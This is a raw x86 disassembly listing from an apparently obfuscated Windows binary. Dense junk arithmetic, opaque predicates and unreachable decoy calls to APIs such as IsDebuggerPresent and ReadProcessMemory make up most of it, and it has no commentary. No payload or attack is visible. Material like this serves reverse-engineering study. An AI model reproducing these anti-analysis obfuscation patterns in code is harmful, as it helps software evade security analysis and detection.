and dword [ebp - 0x1bb0], 0
mov eax, dword [ebp - 0x1bb0]
mov dword [ebp - 0xb0], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd00]
cmp dword [ebp - 0xb0], eax
jle 0x470e78
and dword [ebp - 0xe20], 0
jmp 0x470e82
mov dword [ebp - 0xe20], 1
mov eax, dword [ebp - 0x67c]
dec eax
mov dword [ebp - 0x67c], eax
mov eax, dword [ebp - 0x67c]
cmp eax, dword [ebp - 0xe20]
jg 0x470ea9
mov dword [ebp - 0x26c8], 1
jmp 0x470eb0
and dword [ebp - 0x26c8], 0
mov eax, dword [ebp - 0x294]
mov dword [ebp - 0x38b0], eax
mov eax, dword [ebp - 0x9e4]
mov dword [ebp - 0x349c], eax
cmp dword [ebp - 0x67c], 0
jne 0x470eda
and dword [ebp - 0x1bb8], 0
jmp 0x470ee4
mov dword [ebp - 0x1bb8], 1
cmp dword [ebp - 0x1bb8], 0xfffffffc
jle 0x470ef9
mov dword [ebp - 0x26d0], 1
jmp 0x470f00
and dword [ebp - 0x26d0], 0
cmp dword [ebp - 0x9e4], 0xffffffff
jne 0x470f15
mov dword [ebp - 0xe28], 1
jmp 0x470f1c
and dword [ebp - 0xe28], 0
mov eax, dword [ebp - 0x288c]
cmp dword [ebp - 0xe28], eax
je 0x470f36
mov dword [ebp - 0x1bc0], 1
jmp 0x470f3d
and dword [ebp - 0x1bc0], 0
cmp dword [ebp - 0x1bc0], 7
jl 0x470f52
mov dword [ebp - 0xe30], 1
jmp 0x470f59
and dword [ebp - 0xe30], 0
mov eax, dword [ebp - 0xe30]
mov dword [ebp - 0x294], eax
jmp 0x471149
mov dword [ebp - 0x1bc8], 0
mov dword [ebp - 0x1bd0], 0
mov dword [ebp - 0xe40], 0xfffffffd
mov dword [ebp - 0x289c], 1
mov dword [ebp - 0xe58], 0xff52682f
mov dword [ebp - 0x684], 0
jmp 0x470fb5
mov eax, dword [ebp - 0x684]
inc eax
mov dword [ebp - 0x684], eax
cmp dword [ebp - 0x684], 2
jge 0x470fd1
mov eax, dword [ebp - 0x684]
mov dword [ebp + eax*4 - 0x3a48], 0xc815f77f
jmp 0x470fa8
mov dword [ebp - 0x318], 0
jmp 0x470fea
mov eax, dword [ebp - 0x318]
inc eax
mov dword [ebp - 0x318], eax
cmp dword [ebp - 0x318], 0x21
jge 0x47113c
mov dword [ebp - 0x844], 0xffff
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd00]
mov dword [ebp - 0x844], eax
mov eax, dword [ebp - 0x294]
add eax, 0xffff
mov dword [ebp - 0x1bc8], eax
cmp dword [ebp - 0x1bc8], 0x7d86
je 0x47103d
mov dword [ebp - 0xe38], 1
jmp 0x471044
and dword [ebp - 0xe38], 0
mov eax, dword [ebp - 0xe38]
mov dword [ebp - 0x1bd0], eax
mov eax, dword [ebp - 0x844]
cmp dword [ebp - 0x1bd0], eax
jg 0x47106a
mov dword [ebp - 0x1bd8], 1
jmp 0x471071
and dword [ebp - 0x1bd8], 0
mov eax, dword [ebp - 0xe40]
cmp dword [ebp - 0xe40], eax
jl 0x47108b
mov dword [ebp - 0xe48], 1
jmp 0x471092
and dword [ebp - 0xe48], 0
mov eax, dword [ebp - 0x1bd8]
cmp eax, dword [ebp - 0xe48]
jle 0x4710ac
mov dword [ebp - 0x2894], 1
jmp 0x4710b3
and dword [ebp - 0x2894], 0
mov eax, dword [ebp - 0x310]
mov dword [ebp - 0x3720], eax
mov eax, dword [ebp - 0x289c]
sub eax, dword [ebp - 0x844]
add eax, dword [ebp - 0x844]
cmp eax, 0x6def04e4
jne 0x4710e4
mov dword [ebp - 0x1be0], 1
jmp 0x4710eb
and dword [ebp - 0x1be0], 0
mov eax, dword [ebp - 0x318]
cmp dword [ebp - 0x1be0], eax
jl 0x471105
mov dword [ebp - 0xe50], 1
jmp 0x47110c
and dword [ebp - 0xe50], 0
cmp dword [ebp - 0xe50], 0x4cdc86d9
jl 0x471124
mov dword [ebp - 0x1be8], 1
jmp 0x47112b
and dword [ebp - 0x1be8], 0
mov eax, dword [ebp - 0x1be8]
mov dword [ebp - 0x294], eax
jmp 0x470fdd
mov eax, dword [ebp - 0xe58]
inc eax
mov dword [ebp - 0xe58], eax
lea ecx, [ebp - 0x363c]
call fcn.0043370a
mov dword [ebp - 0x68c], 0
jmp 0x47116d
mov eax, dword [ebp - 0x68c]
inc eax
mov dword [ebp - 0x68c], eax
cmp dword [ebp - 0x68c], 2
jge 0x471189
mov eax, dword [ebp - 0x68c]
mov dword [ebp + eax*4 - 0x3a58], 1
jmp 0x471160
mov dword [ebp - 0x5f8], 1
mov dword [ebp - 0x924], 0
jmp 0x4711ac
mov eax, dword [ebp - 0x924]
inc eax
mov dword [ebp - 0x924], eax
cmp dword [ebp - 0x924], 3
jge 0x4711c8
mov eax, dword [ebp - 0x924]
mov dword [ebp + eax*4 - 0x39b4], 0x76038591
jmp 0x47119f
mov dword [ebp - 0x5f8], 0
jmp 0x4711e1
mov eax, dword [ebp - 0x5f8]
dec eax
mov dword [ebp - 0x5f8], eax
cmp dword [ebp - 0x5f8], 0xffffffe2
jge 0x471353
mov dword [ebp - 0x518], 0x22124f84
mov dword [ebp - 0x1bf0], 0xa9b64fda
push 3
lea ecx, [ebp - 0x3074]
call fcn.00433638
mov dword [ebp - 0x694], 0
jmp 0x471228
mov eax, dword [ebp - 0x694]
inc eax
mov dword [ebp - 0x694], eax
cmp dword [ebp - 0x694], 3
jge 0x47124a
push dword [ebp - 0x694]
lea ecx, [ebp - 0x3074]
call fcn.00433726
mov dword [eax], 4
jmp 0x47121b
mov dword [ebp - 0x518], 0
jmp 0x471263
mov eax, dword [ebp - 0x518]
dec eax
mov dword [ebp - 0x518], eax
cmp dword [ebp - 0x518], 0xfffffffa
jl 0x471343
mov dword [ebp - 0x28a4], 7
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x39b4], 0x88eb
mov dword [ebp - 0x1bf0], 0x88eb
mov eax, dword [ebp - 0x28a4]
sub eax, dword [ebp - 0x1bf0]
cmp dword [ebp - 0x5f8], eax
jne 0x4712b5
mov dword [ebp - 0x1bf8], 1
jmp 0x4712bc
and dword [ebp - 0x1bf8], 0
mov eax, dword [ebp - 0x518]
mov dword [ebp - 0x34a4], eax
mov eax, 0x158018d9
cmp eax, 0xf6b3e713
je 0x4712e0
mov dword [ebp - 0xe60], 1
jmp 0x4712e7
and dword [ebp - 0xe60], 0
mov eax, dword [ebp - 0x518]
cmp eax, dword [ebp - 0xe60]
jne 0x471301
mov dword [ebp - 0xe68], 1
jmp 0x471308
and dword [ebp - 0xe68], 0
mov eax, dword [ebp - 0x1bf8]
cmp eax, dword [ebp - 0xe68]
jge 0x471322
mov dword [ebp - 0x1c00], 1
jmp 0x471329
and dword [ebp - 0x1c00], 0
push 0
lea ecx, [ebp - 0x3074]
call fcn.00433726
mov ecx, dword [ebp - 0x1c00]
mov dword [eax], ecx
jmp 0x471256
lea ecx, [ebp - 0x3074]
call fcn.0043370a
jmp 0x4711d4
mov dword [ebp - 0x84c], 0xffffffe7
jmp 0x47136c
mov eax, dword [ebp - 0x84c]
inc eax
mov dword [ebp - 0x84c], eax
cmp dword [ebp - 0x84c], 0xffffffed
jl 0x472ad6
mov dword [ebp - 0x26c], 0
mov dword [ebp - 0x200], 6
mov dword [ebp - 0x320], 0x73948b08
mov dword [ebp - 0x6a4], 0
push 1
lea ecx, [ebp - 0x2f18]
call fcn.00433638
mov dword [ebp - 0x69c], 0
jmp 0x4713c7
mov eax, dword [ebp - 0x69c]
inc eax
mov dword [ebp - 0x69c], eax
cmp dword [ebp - 0x69c], 1
jge 0x4713e9
push dword [ebp - 0x69c]
lea ecx, [ebp - 0x2f18]
call fcn.00433726
mov dword [eax], 5
jmp 0x4713ba
mov dword [ebp - 0x200], 0xfffffffe
jmp 0x471402
mov eax, dword [ebp - 0x200]
inc eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 0x1c
jne 0x471585
mov dword [ebp - 0xbac], 0x29bf39
mov dword [ebp - 0x560], 4
mov dword [ebp - 0x28b4], 9
mov eax, dword [ebp - 0x200]
mov dword [ebp - 0xbac], eax
cmp dword [ebp - 0xbac], 0
je 0x47151a
mov dword [ebp - 0x994], 0xffffffff
mov dword [ebp - 0xe70], 1
mov eax, 0xfdc8
test eax, eax
je 0x471484
mov eax, dword [ebp - 0x560]
mov dword [ebp - 0xe70], eax
cmp dword [ebp - 0xe70], 0
je 0x471484
mov dword [ebp - 0x1c08], 1
jmp 0x47148b
and dword [ebp - 0x1c08], 0
mov eax, dword [ebp - 0x994]
mov dword [ebp - 0x320], eax
mov eax, dword [ebp - 0x994]
sub eax, dword [ebp - 0x1c08]
cmp dword [ebp - 0x320], eax
je 0x4714b7
mov dword [ebp - 0xe78], 1
jmp 0x4714be
and dword [ebp - 0xe78], 0
mov eax, dword [ebp - 0xbac]
cmp eax, dword [ebp - 0xe78]
jg 0x4714d8
mov dword [ebp - 0x28ac], 1
jmp 0x4714df
and dword [ebp - 0x28ac], 0
mov eax, dword [ebp - 0x994]
mov dword [ebp - 0x398c], eax
mov eax, dword [ebp - 0x6a4]
cmp dword [ebp - 0x994], eax
jle 0x471505
mov dword [ebp - 0x1c10], 1
jmp 0x47150c
and dword [ebp - 0x1c10], 0
mov eax, dword [ebp - 0x1c10]
mov dword [ebp - 0x28b4], eax
jmp 0x471580
mov dword [ebp - 0x560], 2
jmp 0x471533
mov eax, dword [ebp - 0x560]
dec eax
mov dword [ebp - 0x560], eax
cmp dword [ebp - 0x560], 0xfffffff8
je 0x471580
mov dword [ebp - 0x320], 0
jmp 0x471555
mov eax, dword [ebp - 0x320]
dec eax
mov dword [ebp - 0x320], eax
cmp dword [ebp - 0x320], 0
jl 0x47157e
mov byte [ebp - 0x437], 0
movzx eax, byte [ebp - 0x437]
test eax, eax
je 0x47157c
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_UnionRect]
jmp 0x471548
jmp 0x471526
jmp 0x4713f5
mov dword [ebp - 0x200], 0
jmp 0x47159e
mov eax, dword [ebp - 0x200]
inc eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 0
jg 0x4717f5
push 2
lea ecx, [ebp - 0x2d48]
call fcn.00433638
push 2
lea ecx, [ebp - 0x2d30]
call fcn.00433638
mov dword [ebp - 0xe88], 0xf793
mov dword [ebp - 0x144], 0
jmp 0x4715e8
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 2
jge 0x47160a
push dword [ebp - 0x144]
lea ecx, [ebp - 0x2d48]
call fcn.00433726
mov dword [eax], 0xfffffff6
jmp 0x4715db
mov dword [ebp - 0x144], 0
jmp 0x471623
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 2
jge 0x471645
push dword [ebp - 0x144]
lea ecx, [ebp - 0x2d30]
call fcn.00433726
mov dword [eax], 0x72920796
jmp 0x471616
push 1
lea ecx, [ebp - 0x2d48]
call fcn.00433726
mov ecx, dword [ebp - 0x6a4]
cmp dword [eax], ecx
jg 0x471668
mov dword [ebp - 0xe80], 1
jmp 0x47166f
and dword [ebp - 0xe80], 0
push 1
lea ecx, [ebp - 0x2d30]
call fcn.00433726
mov ecx, dword [ebp - 0xe80]
mov dword [eax], ecx
push 1
lea ecx, [ebp - 0x2d48]
call fcn.00433726
cmp dword [eax], 0
je 0x4717c2
mov dword [ebp - 0xe90], 0
mov eax, dword [ebp - 0xe88]
mov dword [ebp - 0x34ac], eax
xor eax, eax
inc eax
je 0x4716ca
cmp dword [ebp - 0xe90], 0
je 0x4716ca
mov dword [ebp - 0x1c18], 1
jmp 0x4716d1
and dword [ebp - 0x1c18], 0
cmp dword [ebp - 0x1c18], 0xffffffff
jb 0x4716e6
mov dword [ebp - 0x1c20], 1
jmp 0x4716ed
and dword [ebp - 0x1c20], 0
mov eax, dword [ebp - 0xe88]
imul eax, dword [ebp - 0x1c20]
inc eax
cmp dword [ebp - 0xe90], eax
jl 0x471713
push 0xfffffffffffffffd
pop eax
test eax, eax
jne 0x471713
and dword [ebp - 0x1c28], 0
jmp 0x47171d
mov dword [ebp - 0x1c28], 1
mov eax, dword [ebp - 0x6a4]
cmp dword [ebp - 0x1c28], eax
je 0x471737
mov dword [ebp - 0xe98], 1
jmp 0x47173e
and dword [ebp - 0xe98], 0
imul esi, dword [ebp - 0xe98], 0xfffffff6
push 0
lea ecx, [ebp - 0x2f18]
call fcn.00433726
cmp esi, dword [eax]
jne 0x471762
mov dword [ebp - 0x1c30], 1
jmp 0x471769
and dword [ebp - 0x1c30], 0
push 1
lea ecx, [ebp - 0x2d30]
call fcn.00433726
mov ecx, dword [ebp - 0x1c30]
cmp ecx, dword [eax]
jg 0x47178c
mov dword [ebp - 0xea0], 1
jmp 0x471793
and dword [ebp - 0xea0], 0
mov eax, dword [ebp - 0x6a4]
cmp dword [ebp - 0xea0], eax
je 0x4717ad
mov dword [ebp - 0x1c38], 1
jmp 0x4717b4
and dword [ebp - 0x1c38], 0
mov eax, dword [ebp - 0x1c38]
mov dword [ebp - 0x320], eax
jmp 0x4717da
mov byte [ebp - 0x3d9], 0
movzx eax, byte [ebp - 0x3d9]
test eax, eax
je 0x4717da
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
lea ecx, [ebp - 0x2d30]
call fcn.0043370a
lea ecx, [ebp - 0x2d48]
call fcn.0043370a
jmp 0x471591
lea ecx, [ebp - 0x2f18]
call fcn.0043370a
mov dword [ebp - 0x26c], 0xfffffffe
jmp 0x471819
mov eax, dword [ebp - 0x26c]
inc eax
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 0x11
jne 0x471e3d
push 3
lea ecx, [ebp - 0x2d60]
call fcn.00433638
mov dword [ebp - 0x240], 0xef20fe6e
mov dword [ebp - 0x854], 0
jmp 0x471856
mov eax, dword [ebp - 0x854]
inc eax
mov dword [ebp - 0x854], eax
cmp dword [ebp - 0x854], 3
jge 0x471878
push dword [ebp - 0x854]
lea ecx, [ebp - 0x2d60]
call fcn.00433726
mov dword [eax], 1
jmp 0x471849
mov dword [ebp - 0x240], 0
jmp 0x471891
mov eax, dword [ebp - 0x240]
inc eax
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 2
jg 0x4718d4
mov dword [ebp - 0x28bc], 4
mov dword [ebp - 0x28bc], 1
push dword [ebp - 0x240]
lea ecx, [ebp - 0x2d60]
call fcn.00433726
mov esi, eax
push 1
lea ecx, [ebp - 0x2d60]
call fcn.00433726
mov ecx, dword [esi]
mov dword [eax], ecx
jmp 0x471884
mov dword [ebp - 0x240], 0xfffffff6
jmp 0x4718ed
mov eax, dword [ebp - 0x240]
inc eax
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 0x11
jg 0x471988
mov dword [ebp - 0x34e0], 0x4d63
push 1
lea ecx, [ebp - 0x364c]
call fcn.00433638
mov dword [ebp - 0xea8], 0x7e71f09a
mov dword [ebp - 0x6ac], 0
jmp 0x471934
mov eax, dword [ebp - 0x6ac]
inc eax
mov dword [ebp - 0x6ac], eax
cmp dword [ebp - 0x6ac], 1
jge 0x471953
push dword [ebp - 0x6ac]
lea ecx, [ebp - 0x364c]
call fcn.00433726
and dword [eax], 0
jmp 0x471927
mov eax, dword [ebp - 0xea8]
inc eax
mov dword [ebp - 0xea8], eax
mov byte [ebp - 0x439], 0
movzx eax, byte [ebp - 0x439]
test eax, eax
je 0x471978
call dword [sym.imp.USER32.dll_GetDoubleClickTime]
lea ecx, [ebp - 0x364c]
call fcn.0043370a
jmp 0x4718e0
lea ecx, [ebp - 0x2d60]
call fcn.0043370a
push 2
lea ecx, [ebp - 0xcbc]
call fcn.00433638
mov dword [ebp - 0x14c], 0xf20fe6e3
mov dword [ebp - 0x1c50], 0xfffffff9
mov dword [ebp - 0x3938], 0xf088
mov dword [ebp - 0x92c], 0
jmp 0x4719d7
mov eax, dword [ebp - 0x92c]
inc eax
mov dword [ebp - 0x92c], eax
cmp dword [ebp - 0x92c], 2
jge 0x4719f9
push dword [ebp - 0x92c]
lea ecx, [ebp - 0xcbc]
call fcn.00433726
mov dword [eax], 0x1177e8ed
jmp 0x4719ca
mov dword [ebp - 0x14c], 0
jmp 0x471a12
mov eax, dword [ebp - 0x14c]
inc eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 1
jg 0x471c38
mov dword [ebp - 0xa84], 0x3f9b
push 2
lea ecx, [ebp - 0x2f24]
call fcn.00433638
mov dword [ebp - 0x28cc], 0xc895
mov dword [ebp - 0x28d4], 0x507af9ca
mov dword [ebp - 0x6b4], 0
jmp 0x471a63
mov eax, dword [ebp - 0x6b4]
inc eax
mov dword [ebp - 0x6b4], eax
cmp dword [ebp - 0x6b4], 2
jge 0x471a85
push dword [ebp - 0x6b4]
lea ecx, [ebp - 0x2f24]
call fcn.00433726
mov dword [eax], 0xfffffff8
jmp 0x471a56
xor eax, eax
jne 0x471aa8
push dword [ebp - 0x14c]
lea ecx, [ebp - 0xcbc]
call fcn.00433726
cmp dword [eax], 0
jne 0x471aa8
and dword [ebp - 0x1c40], 0
jmp 0x471ab2
mov dword [ebp - 0x1c40], 1
push 0
lea ecx, [ebp - 0xcbc]
call fcn.00433726
mov esi, dword [ebp - 0x1c40]
sub esi, dword [eax]
add esi, 7
push dword [ebp - 0x14c]
lea ecx, [ebp - 0xcbc]
call fcn.00433726
cmp esi, dword [eax]
jge 0x471aeb
mov dword [ebp - 0x28c4], 1
jmp 0x471af2
and dword [ebp - 0x28c4], 0
mov eax, dword [ebp - 0xa84]
mov dword [ebp - 0x34e8], eax
push dword [ebp - 0x14c]
lea ecx, [ebp - 0xcbc]
call fcn.00433726
mov esi, eax
push dword [ebp - 0x14c]
lea ecx, [ebp - 0xcbc]
call fcn.00433726
mov ecx, dword [esi]
cmp ecx, dword [eax]
jle 0x471b43
push 0
lea ecx, [ebp - 0xcbc]
call fcn.00433726
cmp dword [eax], 0
jne 0x471b43
and dword [ebp - 0xeb0], 0
jmp 0x471b4d
mov dword [ebp - 0xeb0], 1
mov eax, dword [ebp - 0xa84]
cmp dword [ebp - 0xeb0], eax
je 0x471b67
mov dword [ebp - 0x1c48], 1
jmp 0x471b6e
and dword [ebp - 0x1c48], 0
mov eax, dword [ebp - 0xa84]
cmp dword [ebp - 0x1c48], eax
jl 0x471b88
mov dword [ebp - 0xbe0], 1
jmp 0x471b8f
and dword [ebp - 0xbe0], 0
push 0
lea ecx, [ebp - 0x2f24]
call fcn.00433726
mov ecx, dword [ebp - 0xbe0]
mov dword [eax], ecx
cmp dword [ebp - 0xbe0], 0
jne 0x471bc8
push 1
lea ecx, [ebp - 0xcbc]
call fcn.00433726
cmp dword [eax], 0
jne 0x471bc8
and dword [ebp - 0xeb8], 0
jmp 0x471bd2
mov dword [ebp - 0xeb8], 1
mov eax, dword [ebp - 0xeb8]
mov dword [ebp - 0x28cc], eax
push dword [ebp - 0x14c]
lea ecx, [ebp - 0xcbc]
call fcn.00433726
mov eax, dword [eax]
mov dword [ebp - 0x1c50], eax
mov eax, dword [ebp - 0x1c50]
mov dword [ebp - 0x28d4], eax
mov byte [ebp - 0x3e1], 0
movzx eax, byte [ebp - 0x3e1]
test eax, eax
je 0x471c28
push 0
push 0x1e1e
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea ecx, [ebp - 0x2f24]
call fcn.0043370a
jmp 0x471a05
lea ecx, [ebp - 0xcbc]
call fcn.0043370a
mov byte [ebp - 0x43b], 0
mov dword [ebp - 0xa8c], 0x4fd9e2a8
mov dword [ebp - 0x464], 0x8a527335
mov dword [ebp - 0x85c], 0
jmp 0x471c77
mov eax, dword [ebp - 0x85c]
inc eax
mov dword [ebp - 0x85c], eax
cmp dword [ebp - 0x85c], 2
jge 0x471c93
mov eax, dword [ebp - 0x85c]
mov dword [ebp + eax*4 - 0x22f4], 0x39beb064
jmp 0x471c6a
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x22f4], 0
jne 0x471caf
mov dword [ebp - 0xec0], 1
jmp 0x471cb6
and dword [ebp - 0xec0], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x22f4]
add eax, dword [ebp - 0xec0]
je 0x471cfc
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x22f4]
sub eax, dword [ebp - 0xa8c]
mov dword [ebp - 0xa8c], eax
cmp dword [ebp - 0xa8c], 0x444
jne 0x471cfc
mov dword [ebp - 0x1c58], 1
jmp 0x471d03
and dword [ebp - 0x1c58], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x22f4]
cmp eax, dword [ebp - 0x1c58]
jle 0x471d24
mov dword [ebp - 0xec8], 1
jmp 0x471d2b
and dword [ebp - 0xec8], 0
mov eax, dword [ebp - 0xec8]
mov dword [ebp - 0x464], eax
mov dword [ebp - 0x464], 0
jmp 0x471d50
mov eax, dword [ebp - 0x464]
inc eax
mov dword [ebp - 0x464], eax
cmp dword [ebp - 0x464], 2
jge 0x471d6c
mov eax, dword [ebp - 0x464]
mov dword [ebp + eax*4 - 0x22f4], 5
jmp 0x471d43
movzx eax, byte [ebp - 0x43b]
test eax, eax
je 0x471e38
push 2
lea ecx, [ebp - 0x365c]
call fcn.00433638
mov dword [ebp - 0x9cc], 0xffffffff
mov dword [ebp - 0x6bc], 0
jmp 0x471dab
mov eax, dword [ebp - 0x6bc]
inc eax
mov dword [ebp - 0x6bc], eax
cmp dword [ebp - 0x6bc], 2
jge 0x471dcd
push dword [ebp - 0x6bc]
lea ecx, [ebp - 0x365c]
call fcn.00433726
mov dword [eax], 0x5b57
jmp 0x471d9e
mov dword [ebp - 0x9cc], 0
jmp 0x471de6
mov eax, dword [ebp - 0x9cc]
inc eax
mov dword [ebp - 0x9cc], eax
cmp dword [ebp - 0x9cc], 1
jg 0x471e0d
mov byte [ebp - 0x3e9], 0
movzx eax, byte [ebp - 0x3e9]
test eax, eax
je 0x471e0b
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
jmp 0x471dd9
lea ecx, [ebp - 0x365c]
call fcn.0043370a
push 0x9d0
push 0x1527
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawEdge]
jmp 0x47180c
push 3
lea ecx, [ebp - 0x2570]
call fcn.00433638
mov dword [ebp - 0x3798], 0xedad94e8
mov dword [ebp - 0x34f0], 0xace4b0ad
mov dword [ebp - 0x38d4], 0x34bdac84
mov dword [ebp - 0x34f8], 0x6753f3ac
mov dword [ebp - 0x37a8], 0xf2ef51ae
mov dword [ebp - 0x1c80], 0x30498d20
mov dword [ebp - 0x3500], 0x34aafbeb
mov dword [ebp - 0xbb4], 1
mov dword [ebp - 0x28ec], 0x855c
mov dword [ebp - 0x28f4], 1
mov dword [ebp - 0x30], 0
jmp 0x471ebe
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 3
jge 0x471eda
push dword [ebp - 0x30]
lea ecx, [ebp - 0x2570]
call fcn.00433726
mov dword [eax], 0x6432
jmp 0x471eb7
mov dword [ebp - 0x30], 0
jmp 0x471eea
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 2
jge 0x471f00
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x2db0], 0xfffffffa
jmp 0x471ee3
mov dword [ebp - 0x30], 0
jmp 0x471f10
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 1
jge 0x471f26
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0xed8], 0x4c266d8f
jmp 0x471f09
mov dword [ebp - 0x30], 0
jmp 0x471f36
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 2
jge 0x471f4c
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x34b8], 1
jmp 0x471f2f
push 2
lea ecx, [ebp - 0x2570]
call fcn.00433726
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2db0], 1
jne 0x471f75
mov dword [ebp - 0x1c60], 1
jmp 0x471f7c
and dword [ebp - 0x1c60], 0
push 2
lea ecx, [ebp - 0x2570]
call fcn.00433726
mov eax, dword [eax]
cmp eax, dword [ebp - 0x1c60]
jne 0x471f9f
mov dword [ebp - 0xef0], 1
jmp 0x471fa6
and dword [ebp - 0xef0], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xed8], 0x26a0
je 0x471fc5
mov dword [ebp - 0xed0], 1
jmp 0x471fcc
and dword [ebp - 0xed0], 0
mov eax, dword [ebp - 0xbb4]
mov dword [ebp - 0x28dc], eax
mov eax, dword [ebp - 0xed0]
mov dword [ebp - 0x28e4], eax
mov eax, dword [ebp - 0xbb4]
inc eax
mov dword [ebp - 0xbb4], eax
mov eax, dword [ebp - 0x28dc]
cmp eax, dword [ebp - 0x28e4]
jne 0x47200b
mov dword [ebp - 0x1c68], 1
jmp 0x472012
and dword [ebp - 0x1c68], 0
imul eax, dword [ebp - 0x1c68], 0xf0ab
test eax, eax
jne 0x472029
cmp dword [ebp - 0x28ec], 0
je 0x472045
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xed8], 0
je 0x472045
mov dword [ebp - 0x1c70], 1
jmp 0x47204c
and dword [ebp - 0x1c70], 0
push 2
lea ecx, [ebp - 0x2570]
call fcn.00433726
mov ecx, dword [ebp - 0x1c70]
cmp ecx, dword [eax]
jne 0x47206f
mov dword [ebp - 0xee0], 1
jmp 0x472076
and dword [ebp - 0xee0], 0
mov esi, dword [ebp - 0xee0]
neg esi
push 2
lea ecx, [ebp - 0x2570]
call fcn.00433726
imul esi, dword [eax]
push 4
pop eax
imul eax, eax, 0
cmp esi, dword [ebp + eax - 0x2db0]
jg 0x4720a9
mov dword [ebp - 0x1c78], 1
jmp 0x4720b0
and dword [ebp - 0x1c78], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x34b8]
imul eax, dword [ebp - 0x1c78]
test eax, eax
je 0x4720e6
push 2
lea ecx, [ebp - 0x2570]
call fcn.00433726
cmp dword [eax], 0
je 0x4720e6
mov dword [ebp - 0xee8], 1
jmp 0x4720ed
and dword [ebp - 0xee8], 0
mov eax, dword [ebp - 0xee8]
mov dword [ebp - 0x1c80], eax
mov eax, dword [ebp - 0x1c80]
cmp dword [ebp - 0xef0], eax
jne 0x472113
mov dword [ebp - 0x1c88], 1
jmp 0x47211a
and dword [ebp - 0x1c88], 0
mov eax, dword [ebp - 0x1c88]
mov dword [ebp - 0x28f4], eax
lea ecx, [ebp - 0x2570]
call fcn.0043370a
mov dword [ebp - 0x26c], 1
jmp 0x47214a
mov eax, dword [ebp - 0x26c]
dec eax
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 0
jl 0x472ad1
push 4
lea ecx, [ebp - 0x2f54]
call fcn.00433638
mov dword [ebp - 0x28fc], 0xffffffff
mov dword [ebp - 0x208], 0
jmp 0x472187
mov eax, dword [ebp - 0x208]
inc eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 4
jge 0x4721a9
push dword [ebp - 0x208]
lea ecx, [ebp - 0x2f54]
call fcn.00433726
mov dword [eax], 1
jmp 0x47217a
mov dword [ebp - 0x208], 0
jmp 0x4721c2
mov eax, dword [ebp - 0x208]
inc eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 4
jge 0x4721de
mov eax, dword [ebp - 0x208]
mov dword [ebp + eax*4 - 0x31f8], 0xfebaeef2
jmp 0x4721b5
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x31f8], 0
jmp 0x472209
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x31f8]
inc eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x31f8], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x31f8], 3
jg 0x472504
mov dword [ebp - 0x6c4], 0xfffffffd
mov byte [ebp - 0x43d], 0
movzx eax, byte [ebp - 0x43d]
test eax, eax
je 0x472249
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_InvalidateRect]
mov dword [ebp - 0x6c4], 0
jmp 0x472262
mov eax, dword [ebp - 0x6c4]
inc eax
mov dword [ebp - 0x6c4], eax
cmp dword [ebp - 0x6c4], 3
jg 0x4724ff
mov dword [ebp - 0x620], 1
push 4
lea ecx, [ebp - 0x2f3c]
call fcn.00433638
mov dword [ebp - 0x864], 0
jmp 0x47229f
mov eax, dword [ebp - 0x864]
inc eax
mov dword [ebp - 0x864], eax
cmp dword [ebp - 0x864], 4
jge 0x4722c1
push dword [ebp - 0x864]
lea ecx, [ebp - 0x2f3c]
call fcn.00433726
mov dword [eax], 1
jmp 0x472292
mov dword [ebp - 0x620], 3
jmp 0x4722da
mov eax, dword [ebp - 0x620]
dec eax
mov dword [ebp - 0x620], eax
cmp dword [ebp - 0x620], 0
jl 0x4724c4
mov dword [ebp - 0x568], 0xffffffff
mov dword [ebp - 0x568], 3
jmp 0x47230a
mov eax, dword [ebp - 0x568]
dec eax
mov dword [ebp - 0x568], eax
cmp dword [ebp - 0x568], 0
jl 0x4724bf
mov dword [ebp - 0x5c8], 0xfffffffc
